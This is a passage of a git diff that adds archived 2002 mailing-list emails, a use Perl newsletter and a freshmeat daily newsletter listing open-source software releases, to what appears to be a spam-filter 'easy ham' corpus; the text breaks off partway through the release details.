+X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * Mac OS X Conference Registration Opens + * New Pumpking is Crowned + ++--------------------------------------------------------------------+ +| Mac OS X Conference Registration Opens | +| posted by ziggy on Monday July 29, @22:58 (events) | +| http://use.perl.org/article.pl?sid=02/07/30/0317236 | ++--------------------------------------------------------------------+ + +[0]gnat writes "[1]Registration is now open for the O'Reilly [2]Mac OS X +Conference. Look for sessions by Randal Schwartz and brian d foy ("[3]Programming +Perl on Mac OS X"), Dan Sugalski ("[4]Programming Cocoa with Perl"), +David Wheeler ("[5]Migrating from Linux to Mac OS X"), and many other +people from the world of Perl." + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/07/30/0317236 + +Links: + 0. mailto:gnat@oreilly.com + 1. http://conferences.oreillynet.com/pub/w/19/register.html + 2. http://conferences.oreillynet.com/macosx2002/ + 3. http://conferences.oreillynet.com/cs/macosx2002/view/e_sess/3281 + 4. http://conferences.oreillynet.com/cs/macosx2002/view/e_sess/3114 + 5. http://conferences.oreillynet.com/cs/macosx2002/view/e_sess/3155 + + ++--------------------------------------------------------------------+ +| New Pumpking is Crowned | +| posted by pudge on Tuesday July 30, @16:15 (releases) | +| http://use.perl.org/article.pl?sid=02/07/30/2016230 | ++--------------------------------------------------------------------+ + +[0]Dan writes "One of the many things that's come out of this year's TPC +is the appointment of a new Pumpking. No, not Hugo van der Sanden, who +hopefully everyone knows is taking on the task of 5.9 and 5.10. No, I'm +talking about the inimitable Michael Schwern, who's now holder of the +perl 1 pumpkin and, I'm assured, is well on the way to a new maintenance +release. Details are over on [1]dev.perl.org. Join the porters list and +help Schwern out!" Yes, he said "perl 1". + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/07/30/2016230 + +Links: + 0. http://yetanother.org/dan/ + 1. http://dev.perl.org/perl1/ + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01317.7fc86413a091430c3104b041a6525131 b/bayes/spamham/easy_ham_2/01317.7fc86413a091430c3104b041a6525131 new file mode 100644 index 0000000..f447f0b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01317.7fc86413a091430c3104b041a6525131 @@ -0,0 +1,2572 @@ +From freshmeat-news-admin@lists.freshmeat.net Wed Jul 31 05:21:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 68288440A8 + for ; Wed, 31 Jul 2002 00:21:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 05:21:47 +0100 (IST) +Received: from mail.freshmeat.net (news.freshmeat.net [64.28.67.97]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6V4IG201636 for + ; Wed, 31 Jul 2002 05:18:16 +0100 +Received: from localhost.localdomain (localhost.freshmeat.net [127.0.0.1]) + by localhost.freshmeat.net (Postfix) with ESMTP id 5B98D833D9; + Wed, 31 Jul 2002 00:14:25 -0400 (EDT) +Received: from mail.freshmeat.net (localhost.freshmeat.net [127.0.0.1]) by + mail.freshmeat.net (Postfix) with ESMTP id 738988337D; Wed, 31 Jul 2002 + 00:10:30 -0400 (EDT) +Delivered-To: freshmeat-news@freshmeat.net +Received: from localhost.localdomain (localhost.freshmeat.net [127.0.0.1]) + by localhost.freshmeat.net (Postfix) with ESMTP id DBB908334A for + ; Wed, 31 Jul 2002 00:09:18 -0400 (EDT) +Received: from server.freshmeat.net (freshmeat.net [64.28.67.35]) by + mail.freshmeat.net (Postfix) with ESMTP id 933198334A for + ; Wed, 31 Jul 2002 00:09:15 -0400 (EDT) +Received: by server.freshmeat.net (Postfix, from userid 1000) id + B370A3F82B; Wed, 31 Jul 2002 00:10:10 -0400 (EDT) +To: freshmeat-news@freshmeat.net +Content-Transfer-Encoding: 8bit +Message-Id: <20020731041010.B370A3F82B@server.freshmeat.net> +From: freshmeat-news-admin@lists.freshmeat.net +Subject: [fm-news] Newsletter for Tuesday, July 30th 2002 +Sender: freshmeat-news-admin@lists.freshmeat.net +Errors-To: freshmeat-news-admin@lists.freshmeat.net +X-Beenthere: freshmeat-news@lists.freshmeat.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: noreply@freshmeat.net +X-Reply-To: freshmeat-news@lists.freshmeat.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: The freshmeat daily newsletter +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 00:10:10 -0400 (EDT) + +::: L I N K S F O R T H E D A Y ::: + +Today's news on the web: http://freshmeat.net/daily/2002/07/30/ +freshmeat.net newsgroup: news://news.freshmeat.net/fm.announce + +--- --.- -----.-.------ -.. ..-- - -...---- -- -.- -----... - - + +::: A D V E R T I S I N G ::: + +Sponsored by the USENIX Security Symposium + +Learn how to improve the security of your systems & networks! OS Security +*Access Control *Sandboxing *Web Security and more! *11th USENIX SECURTY +SYMPOSIUM * August 5-9, 2002 * San Francisco Register onsite for your FREE +EXHIBIT PASS! + +http://www.usenix.org/sec02/osdn + +-.------.---.---- -.------.--.- --.-.- - - -- --.--- --.--- -.- + +::: R E L E A S E H E A D L I N E S (107) ::: + +[001] - abcm2ps 3.1.1 (Development) +[002] - amSynth 1.0 beta 5 +[003] - Calculating Pi First Release (Simple Harmonic Motion) +[004] - CbDockApp 1.00 +[005] - cdinsert and cdlabelgen 2.4.0 (Stable) +[006] - cdrecord 1.11a28 +[007] - Cell Phone SMS AIM 1.6 +[008] - CherryPy 0.4 +[009] - Chronos 1.1.1 +[010] - CLIP 0.99.4 +[011] - countertrace 1.0 +[012] - CRWInfo 0.2 +[013] - DaDaBIK 2.1 beta +[014] - Danpei 2.8.2 (Stable) +[015] - dchub 0.1.2 +[016] - Distributed Checksum Clearinghouse 1.1.8 +[017] - dnstracer 1.6 +[018] - Document Manager 2.0-pre1 (Development) +[019] - dougnet 1.0 +[020] - Dump/Restore 0.4b31 +[021] - DungeonMaker 2.01 +[022] - File Roller 2.0.0 +[023] - FrontStella 1.2 +[024] - gCVS 1.0b4 +[025] - gimp-print 4.2.2-pre4 (Stable) +[026] - gnocl 0.5.1 +[027] - GnomeICU 0.98.3 +[028] - GNUstep 1.4.0 (LaunchPad) +[029] - grocget 0.5 +[030] - hdup 1.4.0-1 (Stable) +[031] - Highlight 0.1 +[032] - honeyd 0.3 +[033] - ioperm for Cygwin 0.1 +[034] - IPSquad Packages From Scratch 0.6 +[035] - j 0.16.1 +[036] - jmame 0.3-beta +[037] - Kadmos OCR/ICR engine 3.5q +[038] - Kallers 0.2.2 +[039] - Kemerge 0.6 +[040] - KMencoder 0.1.2 +[041] - KMyIRC 0.2.2 (Alpha) +[042] - koalaXML 0.3.0 +[043] - Koch-Suite 0.7 (Development) +[044] - Lago 0.5.2-gcc3.patch +[045] - libdv 0.98 +[046] - Lindenmayer Systems in Python 1.0 +[047] - LM-Solve 0.5.6 (Development) +[048] - MKDoc 1.4 +[049] - mksysdisp 0.1.4 +[050] - Mondo 0.7 (Stable) +[051] - Mysql-sdb 0.1a +[052] - NNTPobjects 0.9 +[053] - ogmtools 0.7 +[054] - One-Wire Weather 0.67.10 +[055] - Open Remote Collaboration Tool 1.0.1 +[056] - OpenCL 0.8.7 +[057] - OpenEJB 0.8 Final +[058] - OpenOffice Indexer 0.1 (Development) +[059] - OSSP cfg 0.9.0 +[060] - OSSP fsl 0.1.12 +[061] - OSSP l2 0.9.0 +[062] - Papercut NNTP Server 0.8.3 +[063] - PEANUTS 1.03 +[064] - PHP Online RPG 1.1 +[065] - phpMyAdmin 2.3.0-rc4 (Unstable) +[066] - PHPTalk 0.9 +[067] - phpTest 0.6.1 +[068] - php_passport_check 0.1 +[069] - php_writeexcel 0.1.1 +[070] - poweroff 0.4 +[071] - PPPOEd 0.49 +[072] - QtMyAdmin 0.4 +[073] - Quantum GIS 0.0.2 (Development) +[074] - RedBase Pure Java RDBMS 1.5 +[075] - RH Email Server 0.9.8.1 +[076] - S/MIME Library for Java 1.5.0 +[077] - Secure FTP Wrapper 2.5.2 +[078] - Server optimized Linux 15.00 +[079] - Sharp Tools Spreadsheet 1.4 (Stable) +[080] - Simple TCP Re-engineering Tool 0.8.0 +[081] - SimpleFirewall 0.7-2 +[082] - sKaBurn 0.1 +[083] - Station Location and Information 1.2 +[084] - Sylpheed 0.8.1claws (Claws) +[085] - Sympoll 1.3 +[086] - The Big Dumb Finger Daemon 0.9.5 +[087] - The Parma Polyhedra Library 0.4.1 +[088] - The Tamber Project 1.0.6 +[089] - Trackbox 0.4 +[090] - tui-sh 1.2.0 +[091] - uVNC 0.0-2 +[092] - Valgrind 1.0.0 +[093] - VNC Reflector 1.1.9 +[094] - vpopmail 5.3.8 (Development) +[095] - Vstr string library 0.9.9 +[096] - WallFire wfconvert 0.1.3 +[097] - WallFire wflogs 0.0.5 +[098] - webcpp gtkgui 0.3.1 (Gnome) +[099] - WebDialer 1.4 +[100] - WebFileManager 0.972 (Stable) +[101] - WebJob 1.2.0 +[102] - white_dune 0.20beta12 (Development) +[103] - WideStudio 3.00.3 +[104] - Wolfpack 12.8.7 (Stable) +[105] - XMLtype 0.5.1 (Development) +[106] - Zina 0.9.1 +[107] - zprommer 2002_07_29 + + + -----. - ----.-----. .- -.---. .- -. ..--- -.--------. .-- . + +::: R E L E A S E D E T A I L S ::: + +[001] - abcm2ps 3.1.1 (Development) + by Guido Gonzato (http://freshmeat.net/users/goccia/) + Tuesday, July 30th 2002 03:48 + +Multimedia :: Sound/Audio :: Conversion + +About: abcm2ps is a package that converts music tunes from ABC format to +PostScript. Based on abc2ps version 1.2.5, it was developed mainly to +print baroque organ scores that have independant voices played on one or +more keyboards, and a pedal-board. It introduces many extensions to the +ABC language that make it suitable for classical music. + +Changes: Minor bugfixes were made. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/abcm2ps/ + + - % - % - % - % - + +[002] - amSynth 1.0 beta 5 + by nixx uk (http://freshmeat.net/users/nixx2097/) + Tuesday, July 30th 2002 10:52 + +Multimedia :: Sound/Audio :: Sound Synthesis + +About: amSynth is a realtime polyphonic analogue modeling synthesizer. It +provides a virtual analogue synthesizer in the style of the classic Moog +Minimoog/Roland Junos. It offers an easy-to-use interface and synth +engine, while still creating varied sounds. It runs as a standalone +application, using either the ALSA audio and MIDI sequencer system or the +plain OSS devices. It can be played with an external MIDI controller +keyboard, a software virtual keyboard, or through a MIDI sequencer. All +parameters can be controlled over MIDI. + +Changes: The ALSA driver has been MMAPed for improved performance. +Recordings are now output to .wav files. Minor performance tweaks have +been made on the envelope generators, the build process, etc. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/amsynth/ + + - % - % - % - % - + +[003] - Calculating Pi First Release (Simple Harmonic Motion) + by Sayan Chakraborti (http://freshmeat.net/users/sayanchak/) + Tuesday, July 30th 2002 19:00 + +Scientific/Engineering :: Mathematics +Scientific/Engineering :: Visualization + +About: ProjectPi is a project to calculate the mathematical constant Pi +through various methods. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/projectpi/ + + - % - % - % - % - + +[004] - CbDockApp 1.00 + by Chris Briscoe (http://freshmeat.net/users/cbriscoe/) + Tuesday, July 30th 2002 18:56 + +Desktop Environment :: Window Managers :: Window Maker :: Applets + +About: CbDockApp is a C++ dock application class. To make your own dock +application, just create a derived class with your application code. It +comes with an example docked clock application. + +License: BSD License + +URL: http://freshmeat.net/projects/cbdockapp/ + + - % - % - % - % - + +[005] - cdinsert and cdlabelgen 2.4.0 (Stable) + by Avinash Chopde (http://freshmeat.net/users/avinash1/) + Tuesday, July 30th 2002 17:10 + +Text Processing + +About: cdlabelgen is a Perl script that generates printouts suitable for +use as CD jewel case inserts or CD envelopes. Both normal sized cases and +slim cases are handled. cdlabelgen can be used to create table of contents +for music CDs, archival CDs, etc., with customizable logos or background +images, and it generates PostScript files as output. The package also +includes a Perl CGI Web script which accepts JPEG images as logos or +backgrounds, and can also create PDF output files. + +Changes: It is now possible to specify line width for the cover/tray edges +or to omit edge lines entirely. Control over logo placement has been +added: logos can now be moved and scaled as required on the output. +Support for A4 page printouts has been added. + +License: BSD License + +URL: http://freshmeat.net/projects/cdinsert/ + + - % - % - % - % - + +[006] - cdrecord 1.11a28 + by Jörg Schilling (http://freshmeat.net/users/schily/) + Tuesday, July 30th 2002 10:53 + +Multimedia :: Sound/Audio :: CD Audio :: CD Ripping +Multimedia :: Sound/Audio :: CD Audio :: CD Writing +System :: Archiving + +About: Cdrecord creates home-burned CDs with a CD-R/CD-RW recorder. It +works as a burn engine for several applications. Cdrecord supports CD +recorders from many different vendors; all SCSI-3/mmc and ATAPI/mmc +compliant drives should also work. Supported features include IDE/ATAPI, +parallel-port, and SCSI drives, audio CDs, data CDs, and mixed CDs, full +multi-session support, CD-RWs (rewritable), TAO, DAO and human-readable +error messages. Cdrecord includes remote SCSI support and can access local +or remote CD-writers. + +Changes: cdrecord now writes MCN/ISRC even in RAW mode. A bug that caused +cdrecord to write wrong relative time stamps into the pregap of audio CDs +when writing in RAW mode with pregapsize !=0 has been fixed. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/cdrecord/ + + - % - % - % - % - + +[007] - Cell Phone SMS AIM 1.6 + by jason swan (http://freshmeat.net/users/ZypLocc/) + Tuesday, July 30th 2002 20:32 + +Communications :: Chat +Communications :: Chat :: AOL Instant Messenger +Communications :: Internet Phone + +About: Cell Phone SMS AIM uses the Net::AIM Perl module available from +CPAN, signs on a screen name, and routes messages to your cell phone via +SMS. It also requires lynx. + +Changes: Two more providers and a bugfix. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/cellaim/ + + - % - % - % - % - + +[008] - CherryPy 0.4 + by Remi Delon (http://freshmeat.net/users/rdelon/) + Tuesday, July 30th 2002 10:36 + +Internet :: WWW/HTTP :: Dynamic Content + +About: CherryPy is a Python-based tool for developing dynamic Web sites. +It sits between a compiler and an application server. Compiling source +files generates an executable containing everything to run the Web site, +including an HTTP server. CherryPy lets you develop your Web site in an +object-oriented way, using both regular Python and a templating language. +It also comes with a handy standard library for things like cookie-based +authentication, form handling, HTTP authentication, etc. + +Changes: This release adds built-in caching capability and some compiler +optimization. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/cherrypy/ + + - % - % - % - % - + +[009] - Chronos 1.1.1 + by Simon Perreault (http://freshmeat.net/users/nomis80/) + Tuesday, July 30th 2002 17:09 + +Internet :: WWW/HTTP :: Dynamic Content +Office/Business :: Scheduling + +About: Chronos is a Web agenda calendar for intranets, although it can be +used from anywhere. It can send reminders by email, and it allows you to +schedule multi-user events. It is fast and light on resources. The balance +between size and speed can be tweaked by tweaking mod_perl and Apache. + +Changes: This release fixes some bugs with the new holidays feature and a +crash that would occur sometimes when viewing events with reminders. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/chronos/ + + - % - % - % - % - + +[010] - CLIP 0.99.4 + by Uri Hnykin (http://freshmeat.net/users/Uri/) + Tuesday, July 30th 2002 17:00 + +Database +Database :: Database Engines/Servers +Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries + +About: CLIP is a Clipper/XBase compatible compiler with initial support +for FoxPro, Flagship, and CAVO syntax. It supports Linux, FreeBSD, +OpenBSD, and Win32 (via Cygwin). It features support for international +languages and character sets, including two-bytes character sets like +Chinese and Japanese. It also features OOP, a multiplatform GUI based on +GTK/GTKextra, all SIX/Comix features (including hypertext indexing), SQL, +a C-API for third-party developers, a few wrappers for popular libraries +(such as BZIP, GZIP, GD, Crypto, and Fcgi), multitasking, mouse events, +and more. + +Changes: There are many fixes for compatibility. An Interbase (Firebird) +client has been added. There are new FiveWin-like functions and classes. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/clip/ + + - % - % - % - % - + +[011] - countertrace 1.0 + by Michael C. Toren (http://freshmeat.net/users/mct/) + Tuesday, July 30th 2002 00:43 + +Internet + +About: countertrace is a userland iptables QUEUE target handler for Linux +2.4 kernels running Netfilter. It attempts to give the illusion that +there are multiple, imaginary IP hops between itself and the rest of the +world. The imaginary hops that countertrace projects also have the +ability to introduce accumulative, imaginary latency. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/countertrace/ + + - % - % - % - % - + +[012] - CRWInfo 0.2 + by Sven Riedel (http://freshmeat.net/users/srd/) + Tuesday, July 30th 2002 18:37 + +Multimedia :: Graphics :: Capture :: Digital Camera + +About: CRWInfo extracts thumbnails and exposure information from Canon's +proprietary .crw RAW files, which can be output by certain of Canons +digital cameras. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/crwinfo/ + + - % - % - % - % - + +[013] - DaDaBIK 2.1 beta + by Eugenio (http://freshmeat.net/users/eugenio/) + Tuesday, July 30th 2002 18:36 + +Database :: Front-Ends + +About: DaDaBIK is a PHP application that allows you to easily create a +highly customizable Web interface for a MySQL database in order to search, +insert, update, and delete records; all you need do is specify a few +configuration parameters. It is available in English, Italian, Dutch, +German, Spanish, and French. + +Changes: A new, lighter, and easier to use administration interface +(related to the internal table manager) is now available. The form now has +a better layout, and all the fields are correctly aligned, including +dates. All the translations are now up-to-date. It is now possible, for +select_single fields, to choose "other" during an insert and fill a +textbox by hand with an alternative value. That value will update the +select options, unless the option has been driven with a custom query +("SQL:......"). It is now possible to choose whether a field has to be +displayed on the details page. Other changes and bugfixes have been added. + + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/dadabik/ + + - % - % - % - % - + +[014] - Danpei 2.8.2 (Stable) + by peace24 (http://freshmeat.net/users/peace24/) + Tuesday, July 30th 2002 11:01 + + + +About: Danpei is a GTK+ based image viewer. It allows you to browse +through your image files in thumbnail form, and it can rename, cut, and +paste them easily with an interface similar to that of Windows Explorer. + +Changes: This release fixes the bug that caused the progressbar dialog to +not be displayed when dragging and dropping and the bug that, in some +cases, caused Gtk-WARNING to be displayed when cutting and pasting. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/danpei/ + + - % - % - % - % - + +[015] - dchub 0.1.2 + by Eric (http://freshmeat.net/users/icemanbs/) + Tuesday, July 30th 2002 05:32 + +Communications :: File Sharing + +About: dchub is a Direct Connect hub clone. It resembles an IRC server +with some extra features dedicated to file sharing. + +Changes: Minor bugs were fixed in the decoding of the MHUBLIST key, in the +Perl script handling dc++ clients, and in the hub registration function. +Python scripting was added. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/dchub/ + + - % - % - % - % - + +[016] - Distributed Checksum Clearinghouse 1.1.8 + by Vernon Schryver (http://freshmeat.net/users/vjs/) + Tuesday, July 30th 2002 13:04 + +Communications :: Email +Communications :: Email :: Filters + +About: Distributed Checksum Clearinghouse (DCC) is a system of clients and +servers that collect and count checksums related to mail messages. The +counts can be used by SMTP servers and mail user agents to detect and +reject bulk mail. DCC servers can exchange common checksums. The checksums +include values that are "fuzzy", or constant across common variations in +bulk messages. + +Changes: A fix for "invalid database address" problems on SPARC systems, +and other changes. + +License: Freely Distributable + +URL: http://freshmeat.net/projects/dcc-source/ + + - % - % - % - % - + +[017] - dnstracer 1.6 + by Edwin Groothuis (http://freshmeat.net/users/mavetju/) + Tuesday, July 30th 2002 10:43 + +Internet :: Name Service (DNS) +System :: Networking +Utilities + +About: dnstracer determines where a given Domain Name Server (DNS) gets +its information from, and follows the chain of DNS servers back to the +servers which know the data. + +Changes: This release adds support for SOA records. + +License: BSD License + +URL: http://freshmeat.net/projects/dnstracer/ + + - % - % - % - % - + +[018] - Document Manager 2.0-pre1 (Development) + by Dobrica Pavlinusic (http://freshmeat.net/users/dpavlin/) + Tuesday, July 30th 2002 05:28 + +Internet :: WWW/HTTP +Internet :: WWW/HTTP :: Site Management +Office/Business + +About: Document Manager is a document management system with the ability +to check-in/check-out documents, track changes, and support multiple +users. It supports all usual operations (rename, delete, view, edit) and +comes with optional support for a secure HTTP server. + +Changes: This development release is probably not ready for production +yet, but contains new features, including a repository which is not in the +Web server tree, an ACL implementation called trustee, and new +documentation. It works with register_globals off in PHP. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/docman/ + + - % - % - % - % - + +[019] - dougnet 1.0 + by Doug (http://freshmeat.net/users/dougedoug/) + Tuesday, July 30th 2002 02:17 + +Internet + +About: dougnet is a collection of useful functions to helping programmers +make their programs network enabled quickly and easily. It can be +directly embedded into a program, creating no hassle for users. It is +highly portable and very easy to use. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/dougnet/ + + - % - % - % - % - + +[020] - Dump/Restore 0.4b31 + by Stelian Pop (http://freshmeat.net/users/spop/) + Tuesday, July 30th 2002 12:57 + +System :: Archiving :: Backup +System :: Archiving :: Compression +System :: Filesystems + +About: The dump package contains both dump and restore. Dump examines +files in a filesystem, determines which ones need to be backed up, and +copies those files to a specified disk, tape or other storage medium. The +restore command performs the inverse function of dump; it can restore a +full backup of a filesystem. Subsequent incremental backups can then be +layered on top of the full backup. Single files and directory subtrees may +also be restored from full or partial backups. + +Changes: This release fixes a bug (introduced with 0.4b29) which prevented +the use of a remote tape drive. + +License: BSD License + +URL: http://freshmeat.net/projects/dumprestore/ + + - % - % - % - % - + +[021] - DungeonMaker 2.01 + by henningsen (http://freshmeat.net/users/henningsen/) + Tuesday, July 30th 2002 18:22 + + + +About: The DungeonMaker is a program/class library that generates random +dungeons and labyrinths using artificial life methods. It can be used for +pen-and-paper roleplaying, but is mostly intended to generate random maps +for computer role playing games. + +Changes: This is a complete rewrite that improves labyrinth creation and +introduces dungeon creation and placement of treasure and MOBs. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/dungeonmaker/ + + - % - % - % - % - + +[022] - File Roller 2.0.0 + by HPG (http://freshmeat.net/users/paobac/) + Tuesday, July 30th 2002 06:19 + +System :: Archiving + +About: File Roller is an archive manager for the GNOME environment. As an +archive manager, it can create and modify archives, view the content of an +archive, view a file contained in the archive, and extract files from the +archive. File Roller is only a frontend (a graphical interface) to +archiving programs like tar and zip. + +Changes: Ported to GNOME 2, added an option to view the destination folder +after extraction, rearranged the menus, and added mnemonics to all +dialogs. Nautilus is now used as the document viewer. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/fileroller/ + + - % - % - % - % - + +[023] - FrontStella 1.2 + by James de Oliveira (http://freshmeat.net/users/herege/) + Tuesday, July 30th 2002 00:11 + +System :: Emulators + +About: FrontStella is a GNOME front-end for the xstella Atari emulator. It +allows you to set and preserve a name and a screen shot for a particular +ROM. It also allows you to set and keep some global options for the +emulator. You can add as many ROMs as you want. + +Changes: Added keyboard shortcuts, and the ability to double-click on a +ROM. A pop-up menu was added, some known bugs were fixed, and the image is +now scaled to fit in the window. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/frontstella/ + + - % - % - % - % - + +[024] - gCVS 1.0b4 + by Karl-Heinz Bruenen (http://freshmeat.net/users/bruenen/) + Tuesday, July 30th 2002 05:32 + +Software Development :: Version Control +Software Development :: Version Control :: CVS + +About: gCVS is a GTK port of WinCVS, a Windows-based CVS client. + +Changes: Serveral bugs were fixed. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/gcvs/ + + - % - % - % - % - + +[025] - gimp-print 4.2.2-pre4 (Stable) + by Robert Krawitz (http://freshmeat.net/users/rlk/) + Tuesday, July 30th 2002 21:38 + +Multimedia :: Graphics +Printing + +About: Gimp-Print is a collection of very high quality printer drivers for +UNIX/Linux. The goal of this project is uncompromising print quality and +robustness. Included with this package is the Print plugin for the GIMP +(hence the name), a CUPS driver, and two drivers (traditional and +IJS-based) for Ghostscript that may be compiled into that package. This +driver package is Foomatic-compatible and provides Foomatic data to enable +plug and play with many print spoolers. In addition, various printer +maintenance utilities are included. Many users report that the quality of +Gimp-Print on high end Epson Stylus printers matches or exceeds the +quality of the drivers supplied for Windows and Macintosh. + +Changes: This release fixes a serious and longstanding problem whereby +prints to certain Epson printers hosted on a Windows system are +incomplete; the bottom of the last page of the print is chopped off. There +are also some minor tweaks for the Epson Stylus Photo 2100/2200. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/gimp-print/ + + - % - % - % - % - + +[026] - gnocl 0.5.1 + by Peter G. Baum (http://freshmeat.net/users/baum/) + Tuesday, July 30th 2002 17:17 + +Software Development :: Widget Sets + +About: gnocl is a GTK / Gnome extension for the programming language Tcl. +It provides easy to use commands to quickly build Gnome compliant user +interfaces including the Gnome canvas widget and drag and drop support. It +is loosely modeled after the Tk package. + +Changes: This release features many GTK+ 2.0 related bugfixes, a new tree +and list widget, and dialogs for selecting color, font, and files. There +is still no support for special Gnome 2.0 widgets (e.g. canvas). + +License: BSD License + +URL: http://freshmeat.net/projects/gnocl/ + + - % - % - % - % - + +[027] - GnomeICU 0.98.3 + by Patrick (http://freshmeat.net/users/phsung/) + Tuesday, July 30th 2002 18:03 + +Desktop Environment :: Gnome +System :: Networking + +About: GnomeICU is a Gnome application which allows one to communicate +with other GnomeICU users or others who use ICQ (Windows, Java, Mac, etc). +With GnomeICU, one can send and receive messages, change online modes, +chat in realtime, send and receive URLs, and much more. + +Changes: A new XML contacts list file, better user authorization support, +more stable server side contacts list support, many other bugfixes, and +some new languages. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/gnomeicu/ + + - % - % - % - % - + +[028] - GNUstep 1.4.0 (LaunchPad) + by Adam Fedor (http://freshmeat.net/users/afedor/) + Tuesday, July 30th 2002 00:31 + +Desktop Environment :: GNUstep + +About: GNUstep is a set of general-purpose Objective-C libraries based on +the OpenStep standard developed by NeXT (now Apple) Inc. The libraries +consist of everything from foundation classes, such as dictionaries and +arrays, to GUI interface classes such as windows, sliders, buttons, etc. + +Changes: The Make package has gone through an extensive reorganization, +allowing for better code sharing and a speed increase by at least a factor +of 2. The Base library now works better on Windows and Darwin, and has +better language support. + +License: GNU Lesser General Public License (LGPL) + +URL: http://freshmeat.net/projects/gnustep/ + + - % - % - % - % - + +[029] - grocget 0.5 + by Anthony Tekatch (http://freshmeat.net/users/anthonytekatch/) + Tuesday, July 30th 2002 22:57 + +Utilities + +About: grocget helps you shop for groceries faster and more reliably. It +can print a master inventory list, as well as an aisle-sorted shopping +list. + +Changes: Changes for using with Python 2.0, and changes to allow running +from current directory. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/grocget/ + + - % - % - % - % - + +[030] - hdup 1.4.0-1 (Stable) + by Miek Gieben (http://freshmeat.net/users/miek/) + Tuesday, July 30th 2002 05:50 + +System :: Archiving :: Backup +System :: Archiving :: Compression + +About: hdup is used to back up a filesystem. Features include encryption +of the archive (via mcrypt), compression of the archive (bzip/gzip/none), +the ability to transfer the archive to a remote host (via scp), and no +obscure archive format (it is a normal compressed tar file). + +Changes: Added a -f option to force restoring to '/', and made +documentation cleanups. Restoring a single file is now possible, and +compilation now depends on GNU make. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/hdup/ + + - % - % - % - % - + +[031] - Highlight 0.1 + by André Simon (http://freshmeat.net/users/Saalen/) + Tuesday, July 30th 2002 10:36 + +Text Processing + +About: Highlight is a universal source code to HTML, XHTML, RTF, or +(La)TEX converter. (X)HTML output is formatted by Cascading Style Sheets. +It supports Bash, C, C++, Java, Javascript, Lua, Assembler, Perl, PHP, +PL/SQL, (Object) Pascal, and Visual Basic files. It's possible to easily +enhance Highlight's parsing database. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/highlight/ + + - % - % - % - % - + +[032] - honeyd 0.3 + by Niels Provos (http://freshmeat.net/users/nielsprovos/) + Tuesday, July 30th 2002 12:47 + +Internet +System :: Monitoring + +About: Honeyd is a small daemon that creates virtual hosts on a network. +The hosts can be configured to run arbitrary services, and their TCP +personality can be adapted so that they appear to be running certain +versions of operating systems. Honeyd enables a single host to claim +multiple addresses on a LAN for network simulation. It is possible to ping +the virtual machines, or to traceroute them. Any type of service on the +virtual machine can be simulated according to a simple configuration file. +Instead of simulating a service, it is also possible to proxy it to +another machine. + +Changes: UDP support (including proxying), and many bugfixes. + +License: BSD License + +URL: http://freshmeat.net/projects/honeyd/ + + - % - % - % - % - + +[033] - ioperm for Cygwin 0.1 + by Marcel Telka (http://freshmeat.net/users/telka/) + Tuesday, July 30th 2002 10:55 + +Software Development :: Libraries + +About: ioperm for Cygwin adds support for the ioperm() function to Cygwin +(for Windows NT/2000/XP). This support includes sys/io.h and sys/perm.h +header files (not included in Cygwin by default) with development and +runtime libraries. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/ioperm/ + + - % - % - % - % - + +[034] - IPSquad Packages From Scratch 0.6 + by Er-Vin (http://freshmeat.net/users/ervin/) + Tuesday, July 30th 2002 05:58 + +System :: Archiving :: Packaging +System :: Installation/Setup +System :: Logging + +About: IPFS (IPSquad Package From Source) is a system which allows you to +trace an program's installation from sources and register it in your +favorite packaging system. (Only Slackware 8.1 is currently supported.) +IPFS watches a command (generally make install), collects the list of +added files, and then registers them in the chosen packaging system as if +the install was made from a normal package. Unlike other similar products, +IPFS is able to track both shared and statically linked programs. A +Slackware 8.1 package for IPFS is available for download. + +Changes: The old resolve_path shell script has been replace with a newer +and faster ipfs_realpath coded in C. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/ipfs/ + + - % - % - % - % - + +[035] - j 0.16.1 + by Peter Graves 